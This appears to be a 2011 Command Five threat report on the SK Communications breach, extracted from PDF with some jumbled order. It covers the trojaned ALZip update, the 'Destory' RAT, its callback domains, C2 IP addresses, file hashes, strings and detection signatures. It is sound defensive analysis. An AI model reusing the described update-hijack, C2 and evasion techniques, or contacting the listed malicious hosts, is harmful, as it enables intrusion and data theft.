OR FITNESS FOR A PARTICULAR PURPOSE; WARRANTY OF NON INFRINGEMENT, OR TITLE; NOR ANY WARRANTIES PERTAINING TO THE ACCURACY OR COMPLETENESS OF CONTENT. ANY OPINIONS EXPRESSED IN THIS DOCUMENT MAY CHANGE WITHOUT NOTICE AND ARE NOT NECESSARILY THE CONSIDERED OPINIONS OF COMMAND FIVE PTY LTD, ITS PARTNERS, EMPLOYEES, OR AFFILIATE ORGANISATIONS. ANY ADVICE OFFERED IN THIS DOCUMENT IS OFFERED WITHOUT WARRANTY OF ANY KIND. Command Five Pty Ltd ABN: 49 149 576 670 http://www.commandfive.com info@commandfive.com PAGE 13 OF 13 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. SK Hack by an Advanced Persistent Threat Command Five Pty Ltd September 2011 ABSTRACT This document summarises the July 2011 intrusion into SK Communications which culminated in the theft of the personal information of up to 35 million people. It describes the use of a trojaned software update to gain access to the target network, in effect turning a security practice into a vulnerability. It also describes the use of a legitimate company to host tools used in the intrusion. Links between this intrusion and other malicious activity are identified and valuable insights are provided for network defenders. Technical details of malicious software and infrastructure are also provided. WARNING This paper discusses malicious activity and identifies Internet Protocol (IP) addresses, domain names, and websites that may contain malicious content. For safety reasons these locations should not be accessed, scanned, probed, or otherwise interacted with unless their trustworthiness can be verified. SK HACK On 28 July 2011 SK Communications announced it had been the subject of a hack which resulted in the theft of the personal details of up to 35 million of its users. The compromised details were those of CyWorld and Nate users, as stored in SK Communications user databases. CyWorld 1 is South Korea s largest social networking site and Nate is a popular South Korean web portal. Both services are owned by SK Communications. (Sung jin, 2011) 1CyWorld has also expanded to China, Japan, the United States, Taiwan, Vietnam and Europe. (SK Communications) The sophistication of the attack along with the period of time over which it was planned, and conducted, indicate that this attack was likely to have been undertaken by an Advanced Persistent Threat2. Between 18 and 25 July 2011 the attackers 3 infected over 60 SK Communications computers and used them to gain access to the user databases. The attackers infected these computers by first compromising a server, belonging to a South Korean software company, used to deliver software updates to customers (including SK Communications). The attackers modified the server so that the SK Communications computers would receive a trojaned 4 update file when they conducted their routine checks for software updates. (Moon young, 2011) (ESTsoft, 2011) 2 For a definition of the term Advanced Persistent Threat refer to the Command Five paper Advanced Persistent Threats: A Decade in Review (Command Five Pty Ltd, 2011). 3 The term attackers is used in this paper to describe both the hackers and anyone to whom they were reporting. 4 A trojan is a document or program which appears harmless but performs malicious activity when opened or run. PAGE 1 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. Such routine updates (commonly known as patches ) are a good security practice as they often include fixes for security weaknesses identified in the software. Without software updates the SK Communications computers would have been vulnerable to several other attacks including a significant one which was made public in June 20115. The security of software updates is usually trusted implicitly and the exploitation of this trust relationship could go undetected by many targets, as it did for some time by SK Communications. Between 18 and 25 July the attackers conducted command and control and monitoring activities on the infected computers. This involved the upload of tools, conveniently stored on the website of a Taiwanese publishing company the attackers had earlier hacked. Then on 26 July 2011, the attackers, having done the necessary groundwork, proceeded to hack the Nate and CyWorld user databases 6. (Birdman, 2011) (Moon young, 2011) Using waypoints 7 to obfuscate the source of their activities, the attackers successfully stole the personal details of up to 35 million SK Communications customers from the user databases. These personal details included names, phone numbers, home and email addresses, birth dates, gender details, user identifiers, passwords and, due to South Korea s Real Name System 8 which was in place at the time, also resident registration numbers. The passwords and resident registration numbers were reportedly encrypted but the other details were not. (Birdman, 2011) (Hauri Response Team, 2011) (Moon young, 2011) (Jin woo Seo, 2011) THE UPDATE SERVER The update server used by the attackers as a launchpad their attack against Communications was ESTsoft s ALZip update server. ESTsoft is a large South Korean software company 5 A vulnerability exists in certain versions of a software program used by SK Communications (amongst other companies) which could allow an attacker to gain control of computers if the program is used on them to open a maliciously crafted file. (Japanese IT Promotion Agency 2011) 6 According to the Korean National Police Agency the hacker collected information from the infected computers for up to a week before hacking the databases. (Moon young, 2011) 7 A waypoint is a computer used by attackers as an intermediary point to obfuscate the source of their hacking activities. 8 Under South Korea s Real Name System, Koreans were required to submit their real names and resident registration numbers when creating accounts on any website attracting more than 100,000 visitors per day. (TMCnews 2011) and ALZip is a file compression and archive tool developed by the company. ALZip is part of a trusted suite of tools known as ALTools which also includes the antivirus software, ALYac. The antivirus software is independent of the rest of the suite of tools. It uses a different update program and server to the other tools. The security of ALYac was not compromised in the attack. (ESTsoft, 2011) (ESTsoft, 2011) The attackers, purportedly using Chinese IP addresses9, gained access to the ALZip update server via unknown means and uploaded instructions to it. Then, when SK Communications computers conducted their routine check for ALTools updates, the attacker s instructions on the update server directed the computers to download a trojaned update from the attacker s Content Delivery Network10 (CDN) instead of the legitimate update from ESTsoft s CDN. (ESTsoft, 2011) The trojaned update exploits a software vulnerability 11 in the ALTools Common Module Update Application (ALCMUpdate.exe) the program used to conduct the routine checks for ALTools software updates. This vulnerability allowed a malicious Dynamic Link Library (DLL) 12 file to be loaded instead of the legitimate DLL update file (ALAd.dll), thereby enabling malicious code to be run and malicious software (malware) to be installed on computers which requested the update. Over 60 SK Communications computers were compromised via the trojaned update. (ESTsoft, 2011) (EDaily, 2011) (ESTsoft, 2011) The attackers are believed to have designated targets for infection, so that the trojaned update was only delivered to SK Communications computers and not to other computers requesting the same 9 According to South Korean news outlets the attackers used Chinese IP addresses. (Goodin, 2011) 10 A CDN is comprised of multiple servers which are used to distribute software downloads, thereby balancing the load and preventing outages due to individual servers becoming overloaded. 11 A software vulnerability existed in the update program used by several tools in the ALTools suite. The vulnerability allowed arbitrary code to be executed but could only be exploited from the actual update server or, if a computer could be directed to it (eg. by modifying the host file on the computer or via DNS hijacking), a fake update server. A patch for the vulnerability was released on 4 August 2011. (ESTsoft 2011) (ESTsoft, 2011) 12 According to Microsoft, a DLL is a library that contains code and data that can be used by more than one program at the same time. (Microsoft 2007) PAGE 2 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. software update from the server 13. The way the update server was used in the attack is depicted in Figure 1. Attacker ALZip Update Server Targeted Computers targeted Computers Malicious Legitimate Attacker modifies the ALZip update server. Computers check for ALZip software updates and are redirected to a Content Delivery Network (CDN). targeted computers download a legitimate update from the ESTsoft CDN. Targeted computers download a trojaned update from the attacker malicious CDN. FIGURE 1 DEPICTION OF HOW THE ALZIP UPDATE SERVER WAS USED IN THE ATTACK This specific targeting of SK Communications indicates the targeting wasn t purely opportunistic. To target the company in the manner they did, the attackers would have needed knowledge of SK Communications and its use of ALZip, ahead of the 13 The Korean National Police Agency presumes the hacker, instead of targeting all ALZip users, singled out the intranet computers at SK Communications. (Moon young, 2011) attack. This knowledge was likely gained during the reconnaissance14 stage of the attack. THE INFECTED COMPUTERS After the ALZip update program (ALCMUpdate.exe) downloaded the trojaned update onto the 60+ SK Communications computers, computers subsequently became infected with malware known Backdoor.Agent.Hza . The trojaned update file dropped the malware Backdoor.Agent.Hza onto the computers and, in so doing, gave the attacker a backdoor into them. The trojaned update is detected Trojan.Dropper.Agent.Hza Backdoor.Agent.Hza V.DRP.Agent.Hza V.BKD.Agent.Hza by different versions of ESTsoft ALYac antivirus software. (ESTsoft, 2011) (ESTsoft, 2011) Once infected, the computers communicated with the command and control server located at South Korean IP address 116.127.121.41 on Transmission Control Protocol (TCP) port 8080 15. It is possible the infected SK computers used the callback domain update.alyac.org (reportedly associated with the hack 16) to locate the command and control server. It is, however, unconfirmed whether the domain update.alyac.org resolved to the South Korean IP address at the time of the attack. (ESTsoft, 2011) (Samsung IDC, 2011) (ETnews, 2011) Between 18 July 2011 and 25 July 2011, the attackers used the infected computers to collect additional internal access information and database credentials. They presumably used a file named x.exe 17 to acquire some of this information, after downloading it onto infected computers from a toolbox they had earlier set up. Based on the behaviour of this file, the attackers likely used it to conduct network enumeration and to obtain 14 For an explanation of the reconnaissance stage of an attack refer to the Command Five Paper Advanced Persistent Threats: A Decade in Review (Command Five Pty Ltd, 2011). 15 According to Samsung IDC, the ALTools related command and control server was using IP address 116.127.121.41. 16 According to ETnews the domain update.alyac.org was used in the hack. ETnews does not state how the domain was involved but, given the infected computers had ALTools installed on them, use of ALYac.org in the callback domain may have helped to disguise the malicious communications. (ETnews 2011) 17 The file named x.exe is 51712 bytes and has a SHA1 hash of 5A1B E6AD CB2C C40B 2E9D 6B6C 569F D4DA B273 E7AD. (JSUNPACK, 2011) PAGE 3 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. credentials such as usernames and passwords 18. (Birdman, 2011) (Moon young, 2011) The attacker also installed the malware used to access the user databases on at least one of the infected computers. The malware was named nateon.exe 19 and was also hosted on the same toolbox, along with another file named rar.exe 20. (Birdman, 2011) (Hauri Response Team, 2011) Static analysis21 of the file rar.exe indicates it is a modified version of the WinRar 22 command line program also named rar.exe . The file may have been used in the attack to create or open archive files. The modifications made to the program remove the program properties from display, presumably to disguise the true nature of the file. This is somewhat redundant in this instance though, given the file name indicates the nature of the program. THE TOOLBOX The files downloaded onto the infected SK Communications computers were reportedly hosted www.cph.com.tw/act a website belonging to the large Taiwanese publishing company, Cite Media Holding Group 24 . It is likely the company webserver was compromised unbeknownst to its owner and used by the attacker as a toolbox from which to download malicious files and hacker tools onto targeted computers. likely running Microsoft Windows. There are a number of known vulnerabilities for both IIS and Microsoft Windows which potentially could have been exploited and resulted in the compromise of the webserver26. THE DATABASE ACCESS After the week collecting information from the infected computers the attackers were ready to access the databases. On 26 July 2011, they used the information they had gathered, along with a malicious program named nateon.exe , to access the Nate and CyWorld databases. The theft of information continued into the following day July 2011. (Birdman, 2011) (Moon young, 2011) (Hauri Response Team, 2011) The personal information extracted from the databases was purportedly sent via a waypoint to a Chinese IP address where the hacker received the information. The waypoint used purportedly belonged to a company based in Seoul s Nonhyeon neighbourhood. (Moon young, 2011) The South Korean waypoint may have been located by the malware using the callback domain ro.diggfunny.com which was reportedly associated with the leak of information from the databases 27. It has not, however, been confirmed whether, at the time of the attack, this callback domain pointed to an IP address belonging to a Nonhyeon based company. The website cph.com.tw is assumed to have been running on an Internet Information Services (IIS) webserver at the time the server was hacked 25. IIS runs on the Microsoft Windows operating system, indicating the compromised server was Antivirus software detects file Heuristic.BehavesLike.Win32.PasswordStealer.H HKTL_NETVIEW . (Hispasec Sistemas, 2011) 19 The file named nateon.exe is 166912 bytes and has a SHA1 hash of F84C D73D ABF1 8660 7F98 6DF9 8C54 02A5 7BB5 8AD1. It is detected as Backdoor.Sogu by Symantec antivirus software. (JSUNPACK 2011). (Hispasec Sistemas, 2011) 20 The file named rar.exe is 337920 bytes and has a SHA1 hash of E87C 3ACB A599 5E01 7AD3 1B29 A5E2 FE36 3ED4 D9EB. (JSUNPACK 2011) 21 Static analysis refers to analysis of a program s code to determine its functionality, as opposed to dynamic analysis in which a program is executed to determine its behaviour. 22 WinRAR is a popular archiving and compression tool. 23 The files nateon.exe rar.exe and x.exe were hosted at www.cph.com.tw/act . (Birdman, 2011) 24 Cite Media Holding Group publishes over 20 million magazine issues each year in Taiwan. (Novell 2011) 25 An archived error page shows the cph.com.tw website was running on an IIS server in late 2010. (The Internet Archive 2010) 26 Both the Microsoft Security TechCenter and the US National Vulnerability Database make available a comprehensive list of Microsoft Windows and IIS vulnerabilities. (Microsoft n.d.) (National Institute of Standards and Technology n.d.) 27 According to Samsung IDC the IP address 116.127.121.109 was associated with the leak of database files from Nate. (Samsung IDC 2011) PAGE 4 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. 10026210/10070910: 31 9C 6C 4C 10026220/10070920: 6E 61 74 65 10026230/10070930: 63 6F 6D 00 10026240/10070940: 00 00 00 00 100268A0/10070FA0: 00 00 00 00 100268B0/10070FB0: 00 00 00 00 100268C0/10070FC0: 76 63 66 73 100268D0/10070FD0: 00 00 00 00 10026930/10071030: 00 00 00 00 B9 3A 10 00 6F 6E 2E 64 00 00 00 00 00 00 00 00 E8 03 00 00 75 61 6D 6C 00 00 00 00 00 00 00 00 01 00 50 00 69 76 65 2E 00 00 00 00 00 00 00 00 1.lL.:.. .....P. nateon.duamlive. com............. ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 77 69 6E 73 00 00 00 00 00 00 00 00 ................ ............wins vcfs............ ................ 00 00 00 00 00 00 00 00 ............ FIGURE 2 EXCERPTS FROM THE NATEON.EXE CONFIGURATION BLOCK THE DESTORY RAT Structure and Behaviour The malicious program named nateon.exe installs a Remote Administration Tool (RAT) named winsvcfs.dll . It modifies the system registry in such a way that the RAT gets executed as a service by the trusted process svchost.exe 28 each time the computer is started. Once winsvcfs.dll is installed, nateon.exe is deleted. Both nateon.exe 29 and winsvcfs.dll 30 are now detected by some antivirus software. Static analysis of the malware reveals a configuration block. This configuration block contains the name of the DLL file which nateon.exe is to create. In this instance, the configured named was winsvcfs.dll , as shown in Figure 2. Due to the name being configurable, the RAT will not always be called winsvcfs.dll . The configuration block also contains a callback domain and port for the malware s command and control communications. The callback domain is configured to be nateon.duamlive.com and the port is configured to be 80 (50 in hexadecimal), also shown in Figure 2. If no configuration is specified, the malware uses default values instead. The default callback location hardcoded into the malware is the private IP address, 192.168.0.200. This address is not 28 The process svchost.exe is a generic host process for services which run from DLLs. (Microsoft, A description of Svchost.exe in Windows XP Professional Edition 2007) 29 On 29 July 2011, 23 of 43 antivirus products tested detected nateon.exe as malware, as of 19 August 2011 this number had increased to 36 of the 43. (Hispasec Sistemas 2011) (Hispasec Sistemas 2011) 30 As of 6 September 2011, 34 of 44 antivirus products tested detected winsvcfs.dll as malware. (Hispasec Sistemas 2011) routable on the Internet and suggests the attackers rely on the configuration instead of the hardcoded callback address. According to information contained within nateon.exe , the malware used in the SK Communications hack was compiled from source code on 27 September 2010 at 01:17.04 over 6 months before the attack. The configuration block was likely inserted into the binary after this date as the callback domain was not registered until May 2011. This may indicate that the RAT has been used in other attacks but with different configurations. If the previously identified Backdoor.Sogu 31 is a version of the malware, other callback domains previously configured may include those known to be used by Backdoor.Sogu . These domains include bbs.afbjz.com', newhose.ntimobile.com', www.adv138mail.com'32. The RAT has many different capabilities and runs on multiple versions of the Microsoft Windows operating system. The RAT's behaviour changes slightly depending on which version of the Windows operating system it is installed on and which modules are installed. Modules used by the RAT deployed to the SK Communications network include: 31 Symantec antivirus software detects nateon.exe 'Backdoor.Sogu'. The malware described by Symantec exhibits similar behaviour to 'nateon.exe' but is a smaller size. (Mullaney, 2011) 32 In addition to being used by Backdoor.Sogu , the callback domain 'www.adv138mail.com' was used by a Poison Ivy RAT in a July 2011 socially engineered email campaign which targeted experts on the relationship of the United States with Japan, China and Taiwan. (Parkour, 2011) PAGE 5 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. advapi32.dll, cryptbase.dll, gdi32.dll, iphlpapi.dll, kernel32.dll, mpr.dll, msvcrt.dll, ntdll.dll, odbc32.dll, ole32.dll, psapi.dll, sfc.dll, shell32.dll, shlwapi.dll, user32.dll, userenv.dll, version.dll, wininet.dll, ws2_32.dll, wtsapi32.dll. running on the computer, download files, create files, take screenshots and shutdown, reboot or log out of the computer. The RAT has four different operating modes; SMI (Install), SMU (Uninstall), SMRAC (Run as Console) and SMRACU (Run as Console User). (Hauri Response Team, 2011) A complete list of strings obtained through static analysis of the malware is provided in Annex A. These strings give additional insight into the RAT and its behaviour. Of note, a unique string is present which may be used to associate nateon.exe with other malware. This string is CONFIG DESTORY! and is contained within the malware in an obfuscated form. The string is displayed in a pop window if an integrity check the malware performs on its configuration fails. Of note, the module odbc32.dll is used in the access of databases. The RAT uses a number of Standard Query Language (SQL) 33 functions which are accessed (or more technically, dynamically imported) as the software runs. These include: SQLAllocHandle, SQLColAttributeW, SQLDisconnect, SQLDriverConnectW, SQLExecDirectW, SQLFetch, SQLFreeHandle, SQLGetData, SQLGetDiagRecW, SQLMoreResults, SQLNumResultCols, SQLSetEnvAttr. The RAT employs some basic obfuscation techniques. All strings are obfuscated in memory and only decoded when they need to be used, thereby making static analysis more difficult. In addition, unnecessary operations are inserted at frequent intervals throughout the code. The prolific use of unnecessary operations is likely to make reverse engineering more difficult and potentially indicates that the malware is polymorphic 34. The RAT, while in some ways sophisticated, still hides in plain sight limiting its scope for obfuscation. Communications These functions would have been utilised by the attacker to communicate with the Nate and CyWorld user databases and thereby, to obtain the personal details. The RAT can not only access and query databases but can also enumerate the networks to which the infected computer is connected, set up network connections, modify the registry, lock the workstation's screen, control processes and services 33 SQL instructions are used to query certain types of databases and obtain information from them. The RAT attempts communications to a command and control server located using a callback domain. It also creates a raw socket and binds it to the infected computer s local IP address (as assigned to the computer s network interface card). This is not, however, for the RAT to accept inbound connection requests. The socket is configured by the RAT in such a way that it acts as a packet sniffer, whereby, the RAT receives a copy of all inbound and outbound network traffic on the bound interface. As well as enabling deep inspection of this network traffic, the capability could allow the RAT to passively receive commands on any port using any protocol. Before attempting communications to the command and control server, the malware checks for network connectivity. It does this by using the 34 Polymorphic programs can be modified (or modify themselves) to have a different file hash and/or size while retaining the same functionality. This facilitates code reuse by making signature based detection more difficult. PAGE 6 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. legitimate Microsoft Windows domain download.windowsupdate.com . This legitimate domain is hardcoded into the malware but may be overridden modifying malware configuration. by the attackers to disguise them as being associated with NateOn an Instant Messaging Service owned by SK Communications. Legitimate files developed by SK Communications are also known by the name nateon.exe'37. Having determined there network connectivity, malware establishes communications with the callback domain nateon.duamlive.com' 35 on TCP port 80 (configured as noted previously). Communications occur over the HyperText Transfer Protocol (HTTP) protocol a protocol commonly used on TCP port 80 for website browsing. The malware appears to be proxy aware and capable of communicating via a web proxy. THE MALICIOUS INFRASTRUCTURE The following malformed user agent36 is present in the HTTP requests (spaces shown here as Mozilla/4.0 (compatible; MSIE 6.0; Windows 1;SV1; This user agent is consistent with that which may be expected from a user running version 6.0 of the Microsoft Internet Explorer web browser on the Microsoft Windows XP operating system, except that it is missing a closing bracket after the last semicolon and a space after the second to last semicolon. This malformed user agent is hardcoded and can be used as a signature to detect HTTP communications produced by the malware. Four custom headers are also present in the HTTP requests: Session Status Size , and file path requested /update?product=windows . These custom headers and the file path may also be used to develop signatures detection communications. Once the malware successfully contacted the command and control server, the attacker would have been able to give it instructions to access the Nate and Cyworld databases and to send data from them back to a location the attacker could access. The name of the malware and the name of the selected callback domain were presumably chosen 35 Multiple sources confirm the malware used in the hack called back to 'nateon.duamlive.com'. (Samsung IDC 2011) (Birdman, 2011) 36 User agents are used in HTTP communications to tell webservers which operating system and web browser their clients are using, so they can serve compatible webpages. Callback domains are translated to IP addresses using the Domain Name System (DNS) 38 protocol. This translates the domain into a unique address on the Internet which infected computers can use to locate and communicate with a command and control server. Command and control servers are typically more resource intensive to set up and maintain than callback domains which may be used to direct communications to them. It is not uncommon for multiple domains to identify the same command and control infrastructure. In late July 2011, at the time of the attack, the callback domain nateon.duamlive.com pointed to the South Korean IP address 121.78.237.135 but at the time of writing points to local loopback IP address 127.0.0.139. Attackers quite commonly point a callback domain to a local loopback IP address when they do not have any instructions for the infected computers using that domain. This prevents the computers from unnecessarily contacting the attacker s command and control infrastructure. Attackers also quite commonly point a callback domain to a local loopback IP address when they want to protect their command and control infrastructure from detection. At the time of the attack, the callback domain ro.diggfunny.com pointed to the South Korean IP address 116.127.121.109. This IP address is in the same IP address range (116.127.0.0/16) 40 as the IP address used by the ALTools related command and control server (IP address 116.127.121.41). The IP 37 Different versions of a legitimate file named 'nateon.exe' exist. These files are associated with the NATEON Upgrader developed by SK Communications. (Mister Group n.d.) 38 DNS is fundamental on the Internet. It is a form of directory assistance to help computers communicate with other computers. Its use is analogous to a person calling directory assistance to find out what phone number to dial to speak to a certain person. 39 A local loopback IP address is an address which is not Internet or Intranet routable, ie. it can not be used by a computer to communicate with another computer. When a computer attempts to communicate with a local loopback IP address, it communicates with itself. 40 The IP address range 116.127.0.0/16 is the Classless Inter Domain Routing (CIDR) representation of IP addresses 116.127.0.0 through 116.127.255.255. PAGE 7 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. address range is allocated to the South Korean ISP Hanaro Telecom. A portion of the IP address range appears to have been assigned by Hanaro Telecom to a South Korean web hosting company. It is not known whether the two IP addresses used by the attackers fall within the range used by the webhosting company. It is also unconfirmed whether that company is based in Nonhyeong the geographic region of the company that hosted the waypoint used in the attack. If the IP addresses used by the attackers in the range 116.127.121.0/24 were assigned to the web hosting company, it is possible the attackers purchased webhosting services through the company to host their command and control servers instead of compromising legitimate servers. Other IP addresses in the range are also associated with malware41 but that malware may not be related in any way to the SK Communications hack or the attackers involved in the hack. In late July 2011, at around the time of the attack, the callback domain update.alyac.org pointed to the South Korean IP address 202.30.224.240. As at the time of writing, the domain now points to the legitimate Google IP address 8.8.8.8. This is not an indication that the Google IP address is compromised, and the Google IP address is unlikely to be compromised. The Google IP address is likely only used to indicate that the attacker has no instructions for the malware or to instruct the malware to continue with programmed behaviour. The malware likely has logic built in which prevents it from communicating with the Google IP address. Use of the Google IP address would likely achieve the attacker s desired outcome in a similar way to use of a local loopback IP address. It would, however, be less likely to flag the activity to network defenders 42. It is also possible the Google IP address is used to channel covert communications to the command 41 The command and control servers of dozens of pieces of malware have used IP addresses within the IP address range 116.127.121.0/24. (Malc0de.com n.d.) 42 Use of legitimate IP addresses in combination with preprogramed logic to prevent a communication with command and control infrastructure is a much less common indicator of malicious activity than use of a local loopback IP address for the same purpose. and control server over the DNS protocol 43, in effect, using Google as a voluntary waypoint without actually compromising Google s infrastructure. Each of the three callback domains has a Time Live (TTL) 44 of 30 minutes, allowing the attackers to rapidly change the command and control server pointed to by the callback domain. Registration Information The domain duamlive.com was registered on 21 May 2011. It was registered by a Guangming Wang There is a large number of domain registrations (approximately 400) associated with Guangming Wang , possibly indicating that the domains were registered by an intermediary. The domain alyac.org was registered on 24 September 2010. The domain registration information is almost identical to that of the legitimate ESTsoft domain alyac.com . The domain is not, however, associated with the ALYac antivirus software and does not appear to be associated with ESTsoft at all. The title of the website previously hosted at alyac.org was associated with finance, insurance and cell phones and not antivirus software45. At the time of writing, the malicious domain alyac.org points to the Google IP address 8.8.8.8 but previously pointed to South Korean IP address 222.122.20.241. Other probable malicious domains following a similar pattern to alyac.org (whereby they disguise themselves as being associated with legitimate software companies) have also pointed to the same South Korean IP address. These include the domains trendmicros.net nprotects.org and bomuls.com The domain trendmicros.net was purportedly registered by Trend Micro Inc. The registration details are almost identical to that of the legitimate domain trendmicro.com . The domain, however, appears to have nothing to do with the security company. The malicious domain nprotects.org similar to that of the legitimate security company 43 The malware could use a similar technique to software such as iodine. (Kryo, 2010) 44 The TTL of a domain in a DNS record refers to the duration for which the DNS result can be cached. 45 A webpage previously hosted at 'alyac.org' had a title of 'Cash Advance | Debt Consolidation | Insurance | Free Credit Report | Cell Phones at alyac.org . (Domain Tools, LLC, 2011) PAGE 8 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. nProtect ( nprotect.com ) but again, does not appear to be associated with the company. The domain has previously been associated with malware known as Trojan.Win32.Generic 46 . Similarly the domain bomuls.com is not dissimilar to that of the legitimate software company whose website resides bomul.com . (ETnews, 2011) The domains referenced above are summarised in Table 1. DOMAIN SUBDOMAIN IP ADDRESS(ES) DUAMLIVE.COM 127.0.0.1* NATEON. 121.78.237.135 (KR) 127.0.0.1* 121.78.237.135 (KR) 127.0.0.1* 222.122.20.241 (KR) 8.8.8.8 (US)* UPDATE. 202.30.224.240 (KR) 8.8.8.8 (US)* PATH. 8.8.8.8 (US)* WWW. 8.8.8.8 (US)* 222.122.20.241 (KR)* FILE1. 222.122.20.241 (KR)* 220.90.209.157 (KR) 222.122.20.241 (KR)* 222.122.20.241 (KR)* DOWNLOAD. 222.122.20.241 (KR)* BBS. 222.122.20.241 (KR)* 66.249.89.104 (US) 222.122.20.241 (KR) 98.126.8.230 (US)* DOWNLOAD. 222.122.20.241 (KR)* FORUM. 222.122.20.241 (KR)* ALYAC.ORG NPROTECTS.ORG TRENDMICROS.NET BOMULS.COM The domain diggfunny.com was registered on 14 April 2011 by a Lee Cooper . The same registrant details were used to register several other domains. These domains include edsplan.com ezxsoft.com finalcover.com mindplat.com projectxz.com , and soucesp.com all of which were registered on 14 April 2011. The domains daumfan.com and natefan.com were also registered by Lee Cooper but on 25 July 2011, the day before the hacking operation against the Nate and CyWorld user databases. The same registrant details were purportedly used to register an additional seven domains. Each of these domains has a TTL of 30 minutes. (Domain Tools, LLC, 2011) At the time of writing none of the above domains registered by Lee Cooper point to a malicious IP address. The domain natefan.com points to the Google IP address 8.8.8.8, daumfan.com points to the Enom Inc 47 IP address 8.5.1.42, finalcover.com points to the private IP address 192.168.10.132 none diggfunny.com ezxsoft.com edsplan.com mindplat.com projectxz.com or soucesp.com currently point to an IP address. This suggests the domains are not currently in use, however, at least one subdomain appears to be in current use as shown in Table 2. * Indicates IP address assigned at time of writing. TABLE 1 SUMMARY OF REFERENCED DOMAINS 46 Malware detected as Trojan.Win32.Generic in May 2011 used the callback domain pc.nprotects.org . (GFI SandBox, 2011) 47 Enom Inc is a legitimate domain name registrar used by the attackers to register domain names and also to host webpages. PAGE 9 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. DOMAIN SUBDOMAIN IP ADDRESS(ES) DAUMFAN.COM 8.5.1.8 (US) 8.5.1.42 (US)* WWW. 8.5.1.8 (US) 8.5.1.42 (US)* 8.8.8.8 (US) 116.127.121.109 (KR) WWW. 8.8.8.8 (US) 61.19.250.219(TH) 64.74.223.10 (US) ITT. 127.0.0.1* DIGGFUNNY.COM EDSPLAN.COM EZXSOFT.COM Cash Advance | Debt Consolidation | Insurance | Free Credit Report | Cell Phones @ domain Meta Description Find Cash Advance, Debt Consolidation and more at domain. Get the best of Insurance or Free Credit Report, browse our section on Cell Phones or learn about Life Insurance. Domain is the site for Cash Advance. FIGURE 3 EXAMPLE OF WEBPAGE TEMPLATE USED BBS. 202.30.224.240 (KR) 8.8.8.8* (US) 192.168.10.132* 69.197.132.132 (US) 127.0.0.1* 218.213.229.69 (HK) 218.213.229.68 (HK)* 64.74.223.48 (US) CACHE. 8.8.8.8 (US)* NATEFAN.COM 8.8.8.8 (US)* PROJECTXZ.COM 8.5.1.11 (US) ITT. 202.181.170.67 (HK) 8.8.8.8 (US)* 61.82.71.30 (KR) 127.0.0.1 FINALCOVER.COM MINDPLAT.COM SOUCESP.COM Title * Indicates IP address assigned at time of writing. TABLE 2 DOMAINS REGISTERED BY LEE COOPER Several of the domains registered by Cooper previously pointed to webpages. The domain mindplat.com previously pointed to an Enom Inc. server which hosted its webpage. The title and meta description of the mindplat.com website is almost identical to that of the alyac.org website. Both websites follow the template shown in Figure 3. The same template has also been used for several other webpages and may merely be a template provided by a service provider used by the registrants. The domains natefan.com and projectxz.com also previously pointed to webpages. The webpages were similar to the mindplat.com and alyac.org webpages but with different text. Again, these webpages use the same template as other webpages and may merely be provided by a service provider. The presence of these webpages may indicate an attempt by the attackers to make the malicious domains appear more legitimate. SIMILARITIES TO OTHER MALWARE previously discussed, domain ro.diggfunny.com is associated with malicious activity. The domains cache.mindplat.com and bbs.ezxsoft.com are also known to be associated with malware. The first is listed as a malicious domain48 and the second was used as a callback domain malware known . The domain Trojan.Win32.AgentBypass bbs.ezxsoft.com also previously pointed to the same South Korean IP address as update.alyac.org (IP address 202.30.224.240), further linking it to the attackers responsible for the hack into SK Communications. Even if ignoring the connection they both have to the domain alyac.org , the two pieces of malware named Trojan.Win32.Generic Trojan.Win32.AgentBypass respectively (earlier referenced) are still linked. Both pieces of malware create a uniquely named directory 50, as do at least three other pieces of malware (summarised in Annex B). This further links the domains nprotects.org and ezxsoft.com , and suggests this malware, along with the callback domains, may be part of a broader, concerted effort by the same attackers. The domain 'cache.mindplat.com' is listed alongside 'ro.diggfunny.com' in a list of malicious web addresses. (CEOinIRVINE 2011). 49 Malware detected as 'Trojan.Win32.AgentBypass' in mid July 2011 used the callback domain 'bbs.ezxsoft.com'. (GFI SandBox 2011) 50 Malware analysis reports indicate both pieces of malware create a directory named 03a075fb70d5d675f9dc26fc inside the system directory and a subdirectory named update . (GFI SandBox 2011) (GFI SandBox, 2011) PAGE 10 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. TIMELINE 24 September 2010 The domain 'alyac.org' is registered. INSIGHTS 27 September 2010 The Destory RAT is compiled. 14 April 2011 The domain 'diggfunny.com' is registered along with other domains. 21 May 2011 The domain 'duamlive.com' is registered. 18 July 2011 On or prior to this date attackers compromise the ESTSoft ALZip update server. 25 July 2011 Numerous SK Communications computers become infected during routine ALZip software updates. Attackers use their new access to download tools and prepare for targeting of the user database. 25 July 2011 The domains daumfan.com , and 'natefan.com' are registered. 28 July 2011 The attackers use nateon.exe malware and the callback domains nateon.duamlive.com and ro.diggfunny.com to access SK Communications Nate and CyWorld user databases, stealing the personal details of up to 35 million users. Attackers will conduct reconnaissance on their targets and consider all sorts of targeting options (both direct and indirect). Attackers may target a company in order to use it as a launchpad to gain access to other targets, as demonstrated by the targeting of ESTsoft's ALZip update server. Attackers can conduct selective targeting choosing which computers download malicious content and which do not, as they appear to have done with the ALZip update server. Even though two computers may submit an identical request for a file (or webpage), they may not get the same file (or webpage) back in response. This behaviour reduces the likelihood of malware unintentionally going viral. Unfortunately it also hampers investigations by network defenders who may assess a file (or webpage) to be safe, when it is not safe to all users. Attackers may hack a computer for the sole purpose of using it as a waypoint or as an intermediary location from where they can store and access their tools without suspicion from their targets. This appears to have been the case with the use of the Cite Media Holding Group webserver and the Nonhyeong based waypoint, although it is possible they were initially 